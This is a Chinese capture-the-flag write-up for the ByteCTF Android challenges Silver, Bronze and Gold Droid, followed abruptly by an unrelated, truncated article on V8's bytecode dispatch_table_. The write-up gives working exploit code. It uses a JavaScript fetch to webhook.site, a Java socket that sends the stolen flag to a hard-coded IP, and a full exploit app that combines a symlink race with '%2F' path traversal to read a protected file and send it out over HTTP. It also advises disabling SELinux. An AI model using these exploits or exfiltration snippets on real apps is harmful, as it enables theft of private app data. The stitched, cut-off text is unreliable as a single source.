return None
def proof_of_work():
print_to_user(f"First, to ensure that the service will not be dos, please answer me a question.")
prefix = random_hex(6)
suffix = random_hex(difficulty)
targetHash = sha256((prefix+suffix).encode()).hexdigest()
print_to_user(f'Question: sha256(("{prefix}"+"{"x"*difficulty}").encode()).hexdigest() == "{targetHash}"')
print_to_user(f'Please enter the {"x"*difficulty} to satisfy the above equation:')
proof = sys.stdin.readline().strip()
return sha256((prefix+proof).encode()).hexdigest() == targetHash
def check_apk(path):
# return True
try:
z = zipfile.ZipFile(path)
for f in z.filelist:
if f.filename == "AndroidManifest.xml":
return True
return False
except:
return False
def setup_emulator():
#avdmanager是一个命令行工具，可以用于从命令行创建和管理 Android 虚拟设备 (AVD)，借助 AVD，您可以定义要在 Android 模拟器中模拟的 Android 手机
subprocess.call(
"avdmanager" +
" create avd" +
" --name 'pixel_xl_api_30'" +
" --abi 'google_apis/x86_64'" +
" --package 'system-images;android-30;google_apis;x86_64'" +
" --device pixel_xl" +
" --force" +
("" if isMacos else " > /dev/null 2> /dev/null"),
env=ENV,
close_fds=True,
shell=True)
return subprocess.Popen(
"emulator" +
" -avd pixel_xl_api_30" +
" -no-cache" +
" -no-snapstorage" +
" -no-snapshot-save" +
" -no-snapshot-load" +
" -no-audio" +
" -no-window" +
" -no-snapshot" +
" -no-boot-anim" +
" -wipe-data" +
" -accel on" +
" -netdelay none" +
" -no-sim" +
" -netspeed full" +
" -delay-adb" +
" -port {}".format(EMULATOR_PORT) +
("" if isMacos else " > /dev/null 2> /dev/null ") +
"",
env=ENV,
close_fds=True,
shell=True, #通过操作系统的 shell 执行指定的命令
preexec_fn=os.setsid)
def adb(args, capture_output=True):
#执行adb命令
return subprocess.run(
# "adb {}".format(" ".join(args)) +
# ("" if isMacos else " 2> /dev/null"),
['adb'] + (['-s', 'emulator-36666']+args if isMacos else args),
env=ENV,
# shell=True,
close_fds=True,
capture_output=capture_output).stdout
def adb_install(apk):
adb(["install", "-t", apk])
def adb_activity(activity, extras=None, wait=False, data=None):
args = ["shell", "am", "start"]
if wait:
args += ["-W"]
args += ["-n", activity]
if extras:
for key in extras:
args += ["-e", key, extras[key]]
if data:
args += ["-d", data]
adb(args)
def adb_broadcast(action, receiver, extras=None):
args = ["shell", "su", "root", "am", "broadcast", "-W", "-a", action, "-n", receiver]
if extras:
for key in extras:
args += ["-e", key, extras[key]]
adb(args)
print_to_user(r"""
[0;1;35;95m░█[0;1;31;91m▀▀[0;1;33;93m░█[0;1;32;92m░░[0;1;36;96m░▀[0;1;34;94m█▀[0;1;35;95m░█[0;1;31;91m░█[0;1;33;93m░█[0;1;32;92m▀▀[0;1;36;96m░█[0;1;34;94m▀▄[0;1;35;95m░█[0;1;31;91m▀▄[0;1;33;93m░█[0;1;32;92m▀▄[0;1;36;96m░█[0;1;34;94m▀█[0;1;35;95m░▀[0;1;31;91m█▀[0;1;33;93m░█[0;1;32;92m▀▄[0m
[0;1;31;91m░▀[0;1;33;93m▀█[0;1;32;92m░█[0;1;36;96m░░[0;1;34;94m░░[0;1;35;95m█░[0;1;31;91m░▀[0;1;33;93m▄▀[0;1;32;92m░█[0;1;36;96m▀▀[0;1;34;94m░█[0;1;35;95m▀▄[0;1;31;91m░█[0;1;33;93m░█[0;1;32;92m░█[0;1;36;96m▀▄[0;1;34;94m░█[0;1;35;95m░█[0;1;31;91m░░[0;1;33;93m█░[0;1;32;92m░█[0;1;36;96m░█[0m
[0;1;33;93m░▀[0;1;32;92m▀▀[0;1;36;96m░▀[0;1;34;94m▀▀[0;1;35;95m░▀[0;1;31;91m▀▀[0;1;33;93m░░[0;1;32;92m▀░[0;1;36;96m░▀[0;1;34;94m▀▀[0;1;35;95m░▀[0;1;31;91m░▀[0;1;33;93m░▀[0;1;32;92m▀░[0;1;36;96m░▀[0;1;34;94m░▀[0;1;35;95m░▀[0;1;31;91m▀▀[0;1;33;93m░▀[0;1;32;92m▀▀[0;1;36;96m░▀[0;1;34;94m▀░[0m
""")
if not isMacos:
if not proof_of_work():
print_to_user("Please proof of work again, exit...\n")
exit(-1)
print_to_user("Please enter your poc url:")
url = sys.stdin.readline().strip()
# url should be like "https://xxx" to to ensure that `adb shell` passes intent.data correctly.
if url.strip('"') == url:
url = f'"{url}"'
if not url.startswith('"https://'):
print_to_user("Invalid poc url.\n")
exit(-1)
print_to_user("Preparing android emulator. This may takes about 2 minutes...\n")
emulator = setup_emulator()
#只有连接上了模拟器/设备连接上了adb，服务才会被执行，而在Android系统完全启动前执行就会有错误发生
adb(["wait-for-device"])
adb_install(APK_FILE) #将apk文件装到模拟器中
with open(FLAG_FILE, "r") as f:
adb_broadcast(f"com.wuhengctf.SET_FLAG", f"{VULER}/.FlagReceiver", extras={"flag": f.read()})
#adb shell su root am broadcast -W -a "com.wuhengctf.SET_FLAG" -n "com.bytectf.silverdroid/.FlagReceiver" -e 'flag' 'flag{eeeeeeee}'
#am broadcast 发送广播
#-a com.wuhengctf.SET_FLAG:指定intent操作，如android.intent.action.VIEW,Intent intent = new Intent(); intent.setAction("android.SET_FLAG");
#-n "com.bytectf.silverdroid/.FlagReceiver": 确定接收者
#-e 'flag' 'flag{eeeeeeee}': 字符串
adb_activity(f"{VULER}/.MainActivity", wait=True, data=url)
# adb shell am start -W -n "com.bytectf.silverdroid/.MainActivity" -d "url"
#-n "com.bytectf.silverdroid/.MainActivity":启动MainActivity
#-d "url":传递url给MainActivity，而silver droid程序通过Uri uri0 = this.getIntent().getData()接收url
print_to_user("Launching! Let your apk fly for a while...\n")
if isMacos:
input('wait for debug')
else:
time.sleep(EXPLOIT_TIME_SECS)
print_to_user("exiting......")
try:
os.killpg(os.getpgid(emulator.pid), signal.SIGTERM)
os.killpg(os.getpgid(os.getpid()), signal.SIGTERM)
except:
pass
## 2.MainActivity逆向
使用jeb打开apk，MainActivity如下
package com.bytectf.silverdroid;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import android.webkit.WebResourceRequest;
import android.webkit.WebResourceResponse;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import androidx.appcompat.app.AppCompatActivity;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.util.HashMap;
public class MainActivity extends AppCompatActivity {
@Override // androidx.fragment.app.FragmentActivity
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
this.setContentView(0x7F0B001C); // layout:activity_main
Uri uri0 = this.getIntent().getData(); //获得intent所传过来的data参数，可以来自另一个app
if(uri0 != null) { //若参数不为null
WebView webView = new WebView(this.getApplicationContext());//新建的页面取得是整个app的context
webView.setWebViewClient(new WebViewClient() { //当从一个网页跳转到另外一个网页时，我们希望目标网页仍然在当前的webview中显示，而不是在浏览器中打开
@Override // android.webkit.WebViewClient
public boolean shouldOverrideUrlLoading(WebView view, String url) {
//当shouldOverrideUrlLoading返回值为true，拦截webview加载url
try {
Uri uri0 = Uri.parse(url); //解析url
Log.e("Hint", "Try to upload your poc on free COS: https://cloud.tencent.com/document/product/436/6240");
if(uri0.getScheme().equals("https")) { //scheme必须是https
return !uri0.getHost().endsWith(".myqcloud.com");//若是以.myqcloud.com结尾，返回true，再取反返回false，不会拦截webview加载url
}
}
catch(Exception e) {
e.printStackTrace();
return true;
}
return true;
}
});
webView.setWebViewClient(new WebViewClient() {
@Override // android.webkit.WebViewClient
public WebResourceResponse shouldInterceptRequest(WebView view, WebResourceRequest request) { //拦截url，js，css等响应阶段,拦截所有的url请求，若返回非空，则不再进行网络资源请求，而是使用返回的资源数据
FileInputStream inputStream;
Uri uri0 = request.getUrl(); //获得js请求的request
if(uri0.getPath().startsWith("/local_cache/")) { //检查域名后的path是否为/local_cache/开头
File cacheFile = new File(MainActivity.this.getCacheDir(), uri0.getLastPathSegment()); //只是在内存中创建File文件映射对象,而并不会在硬盘中创建文件，新建file以cache为目录，uri0的最后一个地址段
//getCacheDir获取手机中/data/data/包名/cache目录；
if(cacheFile.exists()) { //若映射的文件真实存在，则进入下面循环
try {
inputStream = new FileInputStream(cacheFile);//其将文件内容读取到了内存inputStream内，之后可以进行读取操作
}
catch(IOException e) {
return null;
}
HashMap headers = new HashMap();
headers.put("Access-Control-Allow-Origin", "*");
return new WebResourceResponse("text/html", "utf-8", 200, "OK", headers, inputStream); //返回响应
}
}
return super.shouldInterceptRequest(view, request);
}
});
this.setContentView(webView); //
webView.getSettings().setJavaScriptEnabled(true); //设置WebView属性，能够执行Javascript脚本
webView.loadUrl("https://bytectf-1303079954.cos.ap-nanjing.myqcloud.com/jump.html?url=" + uri0);
}
}
}
经过分析可知，MainActivity先loadUrl，从判断传入的intent是否符合https开头，以.myqcloud.com结尾，若符合；在请求js脚本的内容时会拦截其响应，对js脚本的response地址进行检查，则返回响应时修改响应数据。
## 3.jump.html
主要功能就是提供一个检查并且打开传入的url地址
<h1>jump</h1>
<script>
function getQueryVariable(variable)
{
var query = window.location.search.substring(1); //window.location是获得当前页面的url地址，添上search之后表示从"?"开始的url，而substring(1)就是将"?"截掉。
var vars = query.split("&"); //把query以"&"进行分割
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false); //获得url参数
}
var myurl = getQueryVariable("url").toString().toLowerCase();//
if (myurl != 'false' && myurl.length > 1 && myurl.indexOf("myqcloud")==-1) { //myurl不能含有myqcloud
window.location.href = myurl; //只表示打开这个url页面，并不是打开且刷新这个页面
}
</script>
## 4.漏洞利用（不完整）
经过分析得知我们传入的poc必须以"https"开头，在webview中处理时以"myqcloud.com"结尾，但是在jump.html跳转页面时不包含myqcloud，需要用到字符转换之类.
由于是赛后复现，观察其他师傅的wp发现，我们js脚本中的请求url必须包含有flag文件，我自己也尝试过在几个服务器内部部署一个flag文件，可能是由于docker启动的问题，导致网络不稳定，一直请求不到
将此js文件放到<https://bytectf-1314169455.cos.ap-nanjing.myqcloud.com内。>
<script>
async function fetchTest(){
fetch("https://webhook.site/bf5aa6d4-1b89-4eaf-a1dd-9b003555cd99/?flag=123")}
(async () => {await fetchTest();})();
</script>
# 四：Bronze Droid
## 1.server.py分析
打开apk之前，先大概看了一眼docker和启动环境的脚本，和Silver
Droid的大致一样，其中server.py的实现便不同，大致便是由攻击者实现一个恶意apk，将题目提供的apk和自己实现的apk均安装到模拟器内，启动恶意apk的MainActivity来获得flag
由于篇幅，下面server.py代码仅复制与上面不一样的地方
print_to_user("Please enter your apk url:")
url = sys.stdin.readline().strip()
EXP_FILE = download_file(url)
if not check_apk(EXP_FILE):
print_to_user("Invalid apk file.\n")
exit(-1)
print_to_user("Preparing android emulator. This may takes about 2 minutes...\n")
emulator = setup_emulator()
adb(["wait-for-device"])
adb_install(APK_FILE) #安装受害者apk
with open(FLAG_FILE, "r") as f:
adb_broadcast(f"com.bytectf.SET_FLAG", f"{VULER}/.FlagReceiver", extras={"flag": f.read()})
time.sleep(3)
adb_install(EXP_FILE) #安装恶意apk
adb_activity(f"{ATTACKER}/.MainActivity") #启动恶意apk的MainActivity
print_to_user("Launching! Let your apk fly for a while...\n")
## 2.MainActivity逆向
看代码如下，一眼看去好短；
package com.bytectf.bronzedroid;
import android.app.Activity;
import android.os.Bundle;
public class MainActivity extends Activity {
@Override // android.app.Activity
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
this.setContentView(0x7F0B001C); // layout:activity_main
String s = this.getIntent().getAction(); //获得启动该Activity的intent的Action属性
if(s != null && (s.equals("ACTION_SHARET_TO_ME"))) { //判断
this.setResult(-1, this.getIntent()); //将某些数据回带给启动该Activity的Activity
this.finish();
}
}
}
MainActivity的exported属性为true，所以可以通过外部app来启动MainActivity，具体利用思路可以是编写的恶意apk自带uri来访问受害者apk的flag文件，然后受害者app通过setResult将flag回带给恶意apk。
想要读取flag文件，需要利用fileprovider，可知authority是com.bytectf.bronzedroid.fileprovider，所以intent的data为content://com.bytectf.bronzedroid.fileprovider/root/data/data/com.bytectf.bronzedroid/files/flag
## 3.漏洞利用
恶意apk的MainActivity如下，下面的MainActivity可以进行本地测试；如果打远程需要将flag通过http回传到服务器。
package com.eeeetest.bronzedroid_pwn;
import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import android.widget.TextView;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.Socket;
import java.net.URL;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent intent = new Intent();
intent.setAction("ACTION_SHARET_TO_ME");
intent.setClassName("com.bytectf.bronzedroid","com.bytectf.bronzedroid.MainActivity");
intent.setData(Uri.parse("content://com.bytectf.bronzedroid.fileprovider/root/data/data/com.bytectf.bronzedroid/files/flag"));
intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
startActivityForResult(intent,1);
}
@Override //重写
public void onActivityResult(int requestCode, int resultCode, Intent data) { //得到回传的数据
super.onActivityResult(requestCode, resultCode, data); //重写
try {
InputStreamReader inputStreamReader = new InputStreamReader(getContentResolver().openInputStream(data.getData()));
char[] cArr = new char[1024];
StringBuffer stringBuffer = new StringBuffer("");
while (-1 != inputStreamReader.read(cArr, 0, 1024)) {
stringBuffer.append(String.valueOf(cArr));
}
//send(new String(stringBuffer));
String flag = new String(stringBuffer);
((TextView) findViewById(R.id.tv_show)).setText(new String(stringBuffer));
} catch (Exception e) {
e.printStackTrace();
}
}
}
若想回传flag，只需要在恶意apk内增加一个httpGet功能，然后在服务器内监听一下，代码如下
private void send(final String str) { //和服务器建立socket通信，将flag带入到服务器内
new Thread() {
@Override
public void run() {
try {
Socket socket = new Socket("47.101.67.103", 1235);
sleep(1000L);
if (socket.isConnected()) {
System.out.println("connect succeed!");
OutputStream outputStream = socket.getOutputStream();
outputStream.write(str.getBytes());
outputStream.flush();
outputStream.close();
socket.close();
}
} catch (Exception unused) {
}
}
}.start();
}
# 五：Gold Droid
## 1.server.py
和前两题又不一样，这题先运行了受害apk的main，然后再运行恶意apk的main来拿到flag
print_to_user("Please enter your apk url:")
url = sys.stdin.readline().strip()
EXP_FILE = download_file(url)
if not check_apk(EXP_FILE):
print_to_user("Invalid apk file.\n")
exit(-1)
print_to_user("Preparing android emulator. This may takes about 2 minutes...\n")
emulator = setup_emulator()
adb(["wait-for-device"])
adb_install(APK_FILE) #安装受害apk
adb_activity(f"{VULER}/.MainActivity") ###### 启动受害apk的MainActivity
with open(FLAG_FILE, "r") as f:
adb_broadcast(f"com.bytectf.SET_FLAG", f"{VULER}/.FlagReceiver", extras={"flag": f.read()}) #发送flag
time.sleep(3)
adb_install(EXP_FILE)
adb_activity(f"{ATTACKER}/.MainActivity") #运行恶意apk的MainActivity
print_to_user("Launching! Let your apk fly for a while...\n")
if isMacos:
input('wait for debug')
else:
time.sleep(EXPLOIT_TIME_SECS)
print_to_user("exiting......")
## 2.MainActivity逆向
代码看起来没有什么漏洞，只是创建了一个文件并向内部写入" I\'m in external"
package com.bytectf.golddroid;
import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
public class MainActivity extends AppCompatActivity {
@Override // androidx.fragment.app.FragmentActivity
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
this.setContentView(0x7F0B001C); // layout:activity_main
File externalFile = new File(this.getExternalFilesDir("sandbox"), "file1"); //getExternalFilesDir对应的目录是/sdcard/Android/data/包名/files/，映射sandbox文件夹内的file1文件
try {
FileOutputStream fileOutputStream = new FileOutputStream(externalFile); //创建externalFile文件
fileOutputStream.write("I\'m in external\n".getBytes(StandardCharsets.UTF_8)); //写入
fileOutputStream.close();
}
catch(IOException e) {
e.printStackTrace();
}
}
}
VulProvider好像存在漏洞的样子
## 3.VulProvider逆向
VulProvider使用了ContentProvider将应用程序的数据暴露给外界。
如何通过一套标准及统一的接口获取其他应用程序暴露的数据？Android提供了ContentResolver，外界的程序可以通过ContentResolver接口访问ContentProvider提供的数据。ContentResolver是通过URI来获取Provider所提供的数据
package com.bytectf.golddroid;
import android.content.ContentProvider;
import android.content.ContentValues;
import android.database.Cursor;
import android.net.Uri;
import android.os.ParcelFileDescriptor;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.IOException;
public class VulProvider extends ContentProvider { //
@Override // android.content.ContentProvider
public int delete(Uri uri, String selection, String[] selectionArgs) {
return 0;
}
@Override // android.content.ContentProvider
public String getType(Uri uri) {
return null;
}
@Override // android.content.ContentProvider
public Uri insert(Uri uri, ContentValues values) {
return null;
}
@Override // android.content.ContentProvider
public boolean onCreate() {
return false;
}
@Override // android.content.ContentProvider
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
File file0 = this.getContext().getExternalFilesDir("sandbox");
// file0 = /sdcard/Android/data/com.bytectf.golddroid/files/sandbox/
File file = new File(this.getContext().getExternalFilesDir("sandbox"), uri.getLastPathSegment()); //
// file = /sdcard/Android/data/com.bytectf.golddroid/files/sandbox/uri.getLastPathSegment()
try {
if(!file.getCanonicalPath().startsWith(file0.getCanonicalPath())) { //防止目录穿越,getCanonicalPath会将目录中存在./和../的路径全部转化成没有./和../的路径，下面例子
//Path: workspace/test/../../../.././test1.txt
//getAbsolutePath:/Users/eeee/Desktop/CTF/ByteCTF/Gold_Droid/workspace/test/../../../.././test1.txt
//getCanonicalPath: /Users/eeee/Desktop/CTF/test1.txt
throw new IllegalArgumentException();
}
}
catch(IOException e) {
e.printStackTrace();
}
return ParcelFileDescriptor.open(file, 0x10000000); //0x10000000代表只读
}
@Override // android.content.ContentProvider
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
return null;
}
@Override // android.content.ContentProvider
public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
return 0;
}
}
public static ParcelFileDescriptor open(File file, int mode) throws FileNotFoundException {
final FileDescriptor fd = openInternal(file, mode);
if (fd == null) return null;
return new ParcelFileDescriptor(fd);
}
private static FileDescriptor openInternal(File file, int mode) throws FileNotFoundException {
final int flags = FileUtils.translateModePfdToPosix(mode) | ifAtLeastQ(O_CLOEXEC);
int realMode = S_IRWXU | S_IRWXG;
if ((mode & MODE_WORLD_READABLE) != 0) realMode |= S_IROTH;
if ((mode & MODE_WORLD_WRITEABLE) != 0) realMode |= S_IWOTH;
final String path = file.getPath(); //重新获得了path，没有用getCanonicalPath过滤，这样就存在目录穿越
try {
return Os.open(path, flags, realMode);
} catch (ErrnoException e) {
throw new FileNotFoundException(e.getMessage());
}
}
# *注意
如果是普通文件，file.getAbsolutePath()和file.getCanonicalPath()是一样
如果是link文件，file.getAbsolutePath()是链接文件的路径；file.getCanonicalPath是实际文件的路径（所指向的文件路径）。
记住一定要 **执行adb shell setenforce 0 暂时关闭 selinux 进行验证。** 不然会被坑惨，三天我才找到这个呜呜呜呜。
如果不关闭的话，file.getCanonicalPath是不会得到文件的软链接的路径，所以导致file.getCanonicalPath().startsWith(file0.getCanonicalPath())这个if判断过不去。。。。。
介绍：<https://blog.csdn.net/a572423926/article/details/123261874>
我写了一个demo，大家可以试试看，挺好玩的
package com.bytectf.test;
import androidx.appcompat.app.AppCompatActivity;
import java.io.File;
import java.io.IOException;
import android.net.Uri;
import android.os.Bundle;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
File file0 = new File("/data/data/com.bytectf.pwngolddroid/","cache"); //取得相对路径
System.out.println("file0 Path: " + file0.getPath());
String path = "content://slipme/" + "..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.bytectf.pwngolddroid%2Fsymlink";
Uri uri = Uri.parse(path);
System.out.println("uri.getLastPathSegment:"+uri.getLastPathSegment()); //利用"%2F"绕过getLastPathSegment，让其存在目录穿越
File file = new File(this.getExternalFilesDir("sandbox"),"../../../../../../../../data/data/com.bytectf.pwngolddroid/symlink");
File file1 = new File(this.getExternalFilesDir("sandbox"),uri.getLastPathSegment());
File file2 = new File(this.getExternalFilesDir("sandbox"),"..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.bytectf.pwngolddroid%2Fsymlink");
System.out.println("file Path: " + file.getPath());
System.out.println("file1 Path: " + file1.getPath());
System.out.println("file2 Path: " + file2.getPath());
try {
System.out.println("file1.getCanonicalPath:"+file1.getCanonicalPath());
} catch (IOException e) {
e.printStackTrace();
}
try {
if(!file1.getCanonicalPath().startsWith(file0.getCanonicalPath())) { /////////////
throw new IllegalArgumentException();
}
}
catch(IOException e) {
e.printStackTrace();
}
//取得绝对路径
// try{
// System.out.println("getCanonicalPath: "+ file.getCanonicalPath()); }
// catch(Exception e){}
}
}
用"%2F"绕过getLastPathSegment；
## 4.漏洞利用
那么我一开始想不到我们编写的apk如何与目标apk进行交流，如何启动目标apk的VulActivity，一方面需要请求受害者apk的VulProvider，另一方面需要进行线程竞争和软链接，当软链接合法的时候通过openFile的检测，进入ParcelFileDescriptor.open，这时如果凑巧非法链接到了flag文件，便可以得到flag了。
如果运行程序的话，可以观察到在手机里symlink文件的软链接一直在被切换，一是指向flag这个非法路径，二是指向sandbox/file1这个合法路径
由于我是用安卓机复现，所以让其指向了非法的flag文件和合法的/sandbox/file1便结束了(我不会说是我试了两天还没竞争出来)，
三天后，解决了这个问题，已破案。原因上面以说
MainActivity如下：
package com.bytectf.pwngolddroid;
import androidx.appcompat.app.AppCompatActivity;
import android.content.ContentResolver;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.URL;
public class MainActivity extends AppCompatActivity {
String symlink;
public void httpGet(String msg) {
new Thread(new Runnable() {
@Override
public void run() {
HttpURLConnection connection = null;
BufferedReader reader = null;
try {
Log.e("in_httpGet","inHttpGet1");
URL url = new URL("http://ip:port/flag?flag=" + msg); //这里可以写自己博客的ip和端口，对其进行访问，然后查看日志，我的日志在/var/log/nginx/access.log
Thread.sleep(1);
Log.e("in_httpGet","inHttpGet2");
connection = (HttpURLConnection) url.openConnection();
Thread.sleep(1);
Log.e("in_httpGet","inHttpGet3");
connection.setRequestMethod("GET");
Thread.sleep(1);
Log.e("in_httpGet","inHttpGet4");
connection.getInputStream();
Thread.sleep(1);
Log.e("httpget succeed","http_get succeed");
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
}).start();
}
private String readUri(Uri uri) {
InputStream inputStream = null;
try {
ContentResolver contentResolver = getContentResolver();
inputStream = contentResolver.openInputStream(uri);
if (inputStream != null) {
byte[] buffer = new byte[1024];
int result;
String content = "";
while ((result = inputStream.read(buffer)) != -1) {
content = content.concat(new String(buffer, 0, result));
}
return content;
}
} catch (IOException e) {
Log.e("receiver", "IOException when reading uri", e);
} catch (IllegalArgumentException e) {
Log.e("receiver", "IllegalArgumentException", e);
} finally {
if (inputStream != null) {
try {
inputStream.close();
} catch (IOException e) {
Log.e("receiver", "IOException when closing stream", e);
}
}
}
return null;
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
String root = getApplicationInfo().dataDir;
symlink = root + "/symlink";
try {
Runtime.getRuntime().exec("chmod -R 777 " + root).waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
String path = "content://slipme/" + "..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F" + "data%2Fdata%2Fcom.bytectf.pwngolddroid%2Fsymlink";
//String path = "content://slipme/sdcard/Android/data/com.bytectf.golddroid/files/sandbox/file1";
new Thread(() -> {
while (true) {
try {
Thread.sleep(1);
Runtime.getRuntime().exec("ln -sf /sdcard/Android/data/com.bytectf.golddroid/files/sandbox/file1 " + symlink).waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}).start();
new Thread(() -> {
while (true) {
try {
Thread.sleep(1);
Runtime.getRuntime().exec("ln -sf /data/data/com.bytectf.golddroid/files/flag " + symlink).waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}).start();
new Thread(() -> {
while (true) {
try {
Thread.sleep(10);
} catch (InterruptedException e) {
e.printStackTrace();
}
String data = readUri(Uri.parse(path));
if(data.length()>0){
Log.e("has_data",data);
httpGet(data);
}
}
}).start();
}
}
本地拿到flag，也可以翻日志看
参考链接：
<https://blog.wm-team.cn/index.php/archives/28/>
<http://gityuan.com/2016/02/27/am-command/>
<https://blog.csdn.net/Palmer9/article/details/122420707>
<https://bytedance.feishu.cn/docx/doxcnWmtkIItrGokckfo1puBtCh>
<https://juejin.cn/post/6844903938790014990>
<https://shvu8e0g7u.feishu.cn/docs/doccndYygIwisrk0FGKnKvE0Jhg>
<https://support.google.com/faqs/answer/7496913> | 社区文章 |
# 《Chrome V8源码》27.神秘又简单的dispatch_table_
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1 摘要
本篇文章是Builtin专题的第三篇，讲解Bytecode的执行、数据结构以及Dispatch。dispatch _table_
是连接Bytecode之间的纽带，它记录了每条Bytecode handler的地址，Ignition通过dispatch _table_
查找并执行相应的Bytecode。本文内容组织方法：Bytecode的执行和数据结构（章节2）；Bytecode的调度（章节3）。
## 2 Bytecode的执行
在V8中，负责执行Bytecode的解释器是Ignition，Ignition执行Bytecode时要做很多复杂的准备工作，这些“准备工作”后续文章讲解，我们重点说明Bytecode的执行。
Bytecode以JavaScript函数为粒度生成并存储在Bytecode array中，即Bytecode
array是存储Bytecode的数组，源码如下：
1. class BytecodeArray : public FixedArrayBase {
2. public:
3. static constexpr int SizeFor(int length) {
4. return OBJECT_POINTER_ALIGN(kHeaderSize + length);
5. }
6. inline byte get(int index) const;
7. inline void set(int index, byte value);
8. inline Address GetFirstBytecodeAddress();
9. //省略...................
10. };
我们仅说明与本文有关的两点内容：
**（1）** 第3行代码`SizeFor(int length)`计算Bytecode
array的长度，参数`length`的值是编译JavaScript函数后得到的Bytecode的数量，length+Bytecode
array需要的空间等于Bytecode array的长度。在创建Bytecode array时，使用`SizeFor(int
length)`计算申请内存的长度；
**（2）**
第8行代码`GetFirstBytecodeAddress()`获取Bytecode的首地址。把Parser生成的Bytecode拷贝到Bytecode
array时会用到该函数。
在`Factory::NewBytecodeArray()`中，使用`SizeFor(int
length)`的返回值申请内存，用`CopyBytes()`把Bytecode拷贝到首地址中。下面是一段Bytecode源码:
1. a7 StackCheck
2. 12 00 LdaConstant [0]
3. 15 01 00 StaGlobal [1], [0]
4. 13 01 02 LdaGlobal [1], [2]
5. 26 f9 Star r2
6. 29 f9 02 LdaNamedPropertyNoFeedback r2, [2]
7. 26 fa Star r1
8. 0c 05 LdaSmi [5]
9. Constant pool (size = 6)
10. 0000005EAE403019: [FixedArray] in OldSpace
11. - map: 0x03d0be000169 <Map>
12. - length: 6
13. 0: 0x005eae402f59 <String[#22]: ignoreCase here we go!>
14. 1: 0x038ee90c3cc1 <String[#1]: a>
15. 2: 0x01b92bc2bde1 <String[#9]: substring>
16. 3: 0x038ee90c3fa9 <String[#1]: b>
17. 4: 0x01b92bc33839 <String[#7]: console>
18. 5: 0x01b92bc32e79 <String[#3]: log>
第2行代码`12 00 LdaConstant
[0]`：`12`是LdaConstant的编号，这个编号也是`LdaConstant`的枚举值，即`Bytecode[0x12]=kLdaConstant`，源码如下：
enum class Bytecode : uint8_t {
kWide, kExtraWide, kDebugBreakWide, kDebugBreakExtraWide, kDebugBreak0, kDebugBreak1, kDebugBreak2, kDebugBreak3, kDebugBreak4, kDebugBreak5, kDebugBreak6, kLdaZero, kLdaSmi, kLdaUndefined, kLdaNull, kLdaTheHole, kLdaTrue, kLdaFalse, kLdaConstant, kLdaGlobal, kLdaGlobalInsideTypeof, kStaGlobal, kPushContext, kPopContext, kLdaContextSlot, kLdaImmutableContextSlot, kLdaCurrentContextSlot, kLdaImmutableCurrentContextSlot, kStaContextSlot, kStaCurrentContextSlot, kLdaLookupSlot, kLdaLookupContextSlot, kLdaLookupGlobalSlot, kLdaLookupSlotInsideTypeof, kLdaLookupContextSlotInsideTypeof, kLdaLookupGlobalSlotInsideTypeof, kStaLookupSlot, kLdar, kStar, kMov, kLdaNamedProperty, kLdaNamedPropertyNoFeedback, kLdaKeyedProperty, kLdaModuleVariable, kStaModuleVariable, kStaNamedProperty, kStaNamedPropertyNoFeedback, kStaNamedOwnProperty, kStaKeyedProperty, kStaInArrayLiteral, kStaDataPropertyInLiteral, kCollectTypeProfile, kAdd, kSub, kMul, kDiv, kMod, kExp, kBitwiseOr, kBitwiseXor, kBitwiseAnd, kShiftLeft, kShiftRight, kShiftRightLogical, kAddSmi, kSubSmi, kMulSmi, kDivSmi, kModSmi, kExpSmi, kBitwiseOrSmi, kBitwiseXorSmi, kBitwiseAndSmi, kShiftLeftSmi, kShiftRightSmi, kShiftRightLogicalSmi, kInc, kDec, kNegate, kBitwiseNot, kToBooleanLogicalNot, kLogicalNot, kTypeOf, kDeletePropertyStrict, //省略...................
}
V8规定：fb代表寄存器R0，fa代表寄存器R1，以此类推。在`29 f9 02 LdaNamedPropertyNoFeedback r2,
